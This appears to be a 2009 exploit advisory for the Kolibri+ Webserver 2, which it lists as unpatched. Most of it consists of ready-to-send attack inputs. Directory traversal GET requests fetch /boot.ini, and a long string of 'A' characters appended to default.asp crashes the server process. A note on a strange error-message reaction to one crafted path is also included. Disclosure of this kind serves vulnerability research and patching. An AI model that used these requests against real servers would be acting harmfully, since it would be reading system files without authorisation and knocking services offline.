############################################################################################# # # Name : Kolibri+ Webserver 2 , DOS/Crash + Directory Traversal Vulnerability # Author : Usman Saeed # Company : Xc0re Security Reasearch Group # Date : 06/09/09 # Homepage : http://www.xc0re.net # ############################################################################################# [*] Download Page : http://download.cnet.com/Kolibri-WebServer/3000-10248_4-10896378.html?tag=mncol [*] Attack type : Remote [*] Patch Status : Unpatched [*] Exploitation : [Directory Traversal] GET /../../../../../../../../../boot.ini HTTP/1.0 GET /../../../../../../../../boot.ini HTTP/1.0 [DOS / CRASH] ("A" x 200; #Late crash) http://127.0.0.1/default.aspAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ("A" x 250 or more then 250 Bytes ; #Immediate Termination of process) This can also be used ! /default.asp["A" x 250] [Strange Behavior] "/x/_/c:/boot.ini" Giving the in the url displays "Not Found" msg on the browser & fires off a meesageBox saying that it cannot find the file specified, on the local GUI ! Although the typical 404 not found message for GET /s HTTP/1.1 is "Not found: /s".And nothing fires off a messagebox in the local GUI.